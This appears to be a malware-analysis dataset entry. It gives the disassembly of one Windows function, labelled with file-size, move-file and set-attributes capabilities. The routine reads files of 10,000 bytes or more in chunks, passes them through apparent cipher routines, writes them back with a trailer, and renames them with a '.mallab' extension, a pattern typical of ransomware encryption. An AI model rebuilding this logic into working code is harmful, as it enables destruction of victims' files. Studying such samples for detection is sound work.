Function at 0x1400055c8
Capabilities:
Get file size
Move file
Set file attributes

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x308]
sub rsp, 0x3d0
movaps xmmword [rax - 0x48], xmm6
mov rax, qword [0x140053010]
xor rax, rsp
mov qword [rbp + 0x2b8], rax
mov edx, dword [r8]
lea rsi, [rbp + 0x240]
xor ebx, ebx
mov qword [rbp + 0x260], rcx
mov rdi, r8
mov r15, rcx
mov r12d, 0xff
lea r14d, [rbx + 4]
lea r13d, [rbx + 1]
mov eax, edx
dec edx
mov dword [rdi], edx
test eax, eax
jne 0x140005647
mov rcx, rdi
call fcn.140003790
mov dword [rdi], r12d
mov edx, r12d
mov eax, dword [rdi + 0x400]
mov ecx, r12d
jmp 0x14000564d
mov eax, dword [rdi + rdx*4 + 4]
mov ecx, edx
mov dword [rsi], eax
add rsi, 4
sub r14, r13
jne 0x140005624
lea rsi, [rbp + 0x270]
mov r14d, 0xa
mov eax, ecx
dec ecx
mov dword [rdi], ecx
test eax, eax
jne 0x140005685
mov rcx, rdi
call fcn.140003790
mov dword [rdi], r12d
mov ecx, r12d
mov eax, dword [rdi + 0x400]
jmp 0x140005689
mov eax, dword [rdi + rcx*4 + 4]
mov dword [rsi], eax
add rsi, 4
sub r14, r13
jne 0x140005665
movups xmm0, xmmword [rbp + 0x270]
mov rax, qword [rbp + 0x290]
lea rcx, [rbp + 0x180]
movups xmm1, xmmword [rbp + 0x280]
mov qword [rbp + 0x268], rax
movups xmmword [rbp + 0x298], xmm0
movups xmmword [rbp + 0x2a8], xmm1
call fcn.140001638
movups xmm6, xmmword [rbp + 0x240]
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x180]
movdqu xmmword [rbp + 0x230], xmm6
call fcn.1400017c4
mov edi, 0x80
mov qword [rsp + 0x30], rbx
mov r12d, 0xc0000000
mov dword [rsp + 0x28], edi
xor r9d, r9d
mov r8d, r13d
mov edx, r12d
mov rcx, r15
lea r14d, [rdi - 0x7d]
mov dword [rsp + 0x20], r14d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
or rcx, 0xffffffffffffffff
cmp rsi, rcx
jne 0x140005868
cmp eax, 0x20
jne 0x1400057e8
lea rcx, [0x140055b78]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movdqa xmm0, xmmword [0x14004ce10]
lea rcx, [rbp + 0x240]
mov rdx, r15
mov qword [rbp + 0x240], rbx
movdqu xmmword [rbp + 0x250], xmm0
call fcn.140009818
mov rdx, qword [0x140055bc8]
cmp rdx, qword [0x140055bd0]
je 0x1400057be
mov qword [rdx], rbx
mov qword [rdx + 0x10], rbx
mov qword [rdx + 0x18], rbx
movups xmm0, xmmword [rbp + 0x240]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp + 0x250]
movdqa xmm0, xmmword [0x14004ce10]
movups xmmword [rdx + 0x10], xmm1
add qword [0x140055bc8], 0x20
movdqu xmmword [rbp + 0x250], xmm0
mov word [rbp + 0x240], bx
jmp 0x1400057ca
lea r8, [rbp + 0x240]
call fcn.140009bf0
lea rcx, [rbp + 0x240]
call fcn.1400097b4
lea rcx, [0x140055b78]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x140005b56
cmp eax, 5
jne 0x140005b56
mov edx, edi
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov dword [rsp + 0x28], edi
mov r8d, r13d
mov edx, r12d
mov dword [rsp + 0x20], r14d
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
or rax, 0xffffffffffffffff
cmp rsi, rax
jne 0x140005868
mov rcx, r15
call fcn.14000416c
test eax, eax
je 0x140005b56
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov dword [rsp + 0x28], edi
mov r8d, r13d
mov edx, r12d
mov dword [rsp + 0x20], r14d
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
or rax, 0xffffffffffffffff
cmp rsi, rax
je 0x140005b56
xor eax, eax
lea rdx, [rsp + 0x58]
mov rcx, rsi
mov qword [rsp + 0x58], rax
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140005b4d
mov rcx, qword [rsp + 0x58]
cmp rcx, 0x2710
jl 0x140005b4d
cmp dword [rbp + 0x338], ebx
je 0x1400058bb
cmp rcx, qword [0x1400569d8]
jle 0x1400058bb
xchg qword [0x1400569d8], rcx
mov rcx, qword [rsp + 0x58]
movups xmm6, xmmword [rbp + 0x240]
movabs rax, 0xa3d70a3d70a3d70b
mov dword [rsp + 0x40], ebx
imul rcx
mov r12d, ebx
mov dword [rsp + 0x50], ebx
add rdx, rcx
mov dword [rsp + 0x48], r13d
sar rdx, 6
mov r8d, 0x800000
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*4]
shl rax, 3
cmp rcx, 0x19000
jle 0x140005923
cmp rax, r8
jle 0x140005923
cqo
mov dword [rsp + 0x40], r8d
and edx, 0x7fffff
mov r12d, r8d
add rax, rdx
sar rax, 0x17
mov qword [rsp + 0x48], rax
jmp 0x140005928
mov dword [rsp + 0x50], r13d
xor edx, edx
lea rcx, [rbp - 0x30]
mov r8d, 0x1a8
call fcn.14001c3e0
mov r9d, 0x100
lea r8, [rbp + 0x298]
mov edx, 2
lea rcx, [rbp - 0x30]
call fcn.14000e2d0
lea r8, [rbp + 0x268]
lea rcx, [rbp - 0x30]
call fcn.14000e9d0
mov r14d, ebx
mov r13d, ebx
mov rdi, rbx
cmp dword [rsp + 0x50], ebx
je 0x140005a28
mov eax, dword [rsp + 0x58]
mov ecx, eax
mov dword [rsp + 0x40], eax
call fcn.1400211f4
mov r12, rax
test rax, rax
je 0x140005b29
mov r8d, dword [rsp + 0x40]
lea r9, [rsp + 0x54]
mov rdx, rax
mov rcx, rsi
call fcn.140005550
mov r8d, dword [rsp + 0x54]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
lea rcx, [rbp - 0x30]
mov r9, r12
mov qword [rsp + 0x20], r8
mov rdx, r12
mov qword [rsp + 0x48], rbx
call fcn.14000eb20
test eax, eax
jne 0x1400059f5
lea rax, [rbp + 0x260]
lea r9, [rsp + 0x48]
mov qword [rsp + 0x20], rax
lea rcx, [rbp - 0x30]
call fcn.14000eec0
test eax, eax
jne 0x140005b21
xor r8d, r8d
mov rdx, rbx
mov rcx, rsi
call fcn.140005474
test eax, eax
je 0x140005b21
mov r8d, dword [rsp + 0x54]
lea r9, [rsp + 0x54]
mov rdx, r12
mov rcx, rsi
call fcn.1400054d8
mov r14d, eax
jmp 0x140005b21
mov ecx, r12d
call fcn.1400211f4
mov r12, rax
test rax, rax
je 0x140005b29
cmp dword [rsp + 0x48], ebx
jbe 0x140005b21
mov r15d, dword [rsp + 0x40]
xor r8d, r8d
mov rdx, rdi
mov rcx, rsi
call fcn.140005474
mov r14d, eax
test eax, eax
je 0x140005b1a
lea r9, [rsp + 0x54]
mov r8d, r15d
mov rdx, r12
mov rcx, rsi
call fcn.140005550
mov r14d, eax
test eax, eax
je 0x140005b1a
cmp dword [rsp + 0x54], r15d
jne 0x140005b1a
mov r8d, dword [rsp + 0x54]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rcx, [rbp - 0x30]
mov r9, r12
mov qword [rsp + 0x20], r8
mov rdx, r12
mov qword [rsp + 0x40], rbx
call fcn.14000eb20
test eax, eax
jne 0x140005ad7
lea rax, [rbp + 0x240]
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], rax
lea rcx, [rbp - 0x30]
call fcn.14000eec0
test eax, eax
jne 0x140005b05
xor r8d, r8d
mov rdx, rdi
mov rcx, rsi
call fcn.140005474
test eax, eax
je 0x140005b05
mov r8d, dword [rsp + 0x54]
lea r9, [rsp + 0x54]
mov rdx, r12
mov rcx, rsi
call fcn.1400054d8
mov r14d, eax
test eax, eax
je 0x140005b1a
add rdi, 0x800000
inc r13d
cmp r13d, dword [rsp + 0x48]
jb 0x140005a4b
mov r15, qword [rbp + 0x260]
mov rcx, r12
call fcn.1400211e0
lea rcx, [rbp - 0x30]
call fcn.14000f050
test r13d, r13d
jne 0x140005b85
test r14d, r14d
jne 0x140005b85
xorps xmm0, xmm0
movups xmmword [rbp + 0x298], xmm0
movups xmmword [rbp + 0x2a8], xmm0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x2b8]
xor rcx, rsp
call fcn.14001a000
lea r11, [rsp + 0x3d0]
mov rbx, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
movups xmm0, xmmword [rbp + 0x270]
mov rax, qword [rsp + 0x58]
mov r12d, 2
movups xmm1, xmmword [rbp + 0x280]
mov r8d, r12d
mov rdx, rbx
movaps xmmword [rsp + 0x70], xmm0
mov rcx, rsi
movsd xmm0, qword [rbp + 0x290]
movsd qword [rbp - 0x70], xmm0
movups xmm0, xmmword [0x1400559d8]
mov dword [rsp + 0x60], 0x1020102
movaps xmmword [rbp - 0x80], xmm1
movups xmm1, xmmword [0x1400559e8]
mov dword [rsp + 0x64], r13d
movups xmmword [rbp - 0x58], xmm0
mov qword [rsp + 0x68], rax
movdqu xmmword [rbp - 0x68], xmm6
mov dword [rbp - 0x38], 0x3040304
movups xmmword [rbp - 0x48], xmm1
call fcn.140005474
lea r9, [rsp + 0x54]
mov rcx, rsi
lea r8d, [r12 + 0x6a]
lea rdx, [rsp + 0x60]
call fcn.1400054d8
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea r14, str..mallab
mov edi, eax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea esi, [rax + 1]
mov eax, r12d
add esi, edi
mov ecx, esi
mul rcx
lea rcx, [r12 - 3]
cmovo rax, rcx
mov rcx, rax
call fcn.1400211f4
mov rdi, rax
test rax, rax
je 0x140005b56
mov r9, r15
mov qword [rsp + 0x20], r14
lea r8, [0x14004b480]
mov edx, esi
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
mov rdx, rdi
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_MoveFileW]
mov rcx, rdi
call fcn.1400211e0
jmp 0x140005b56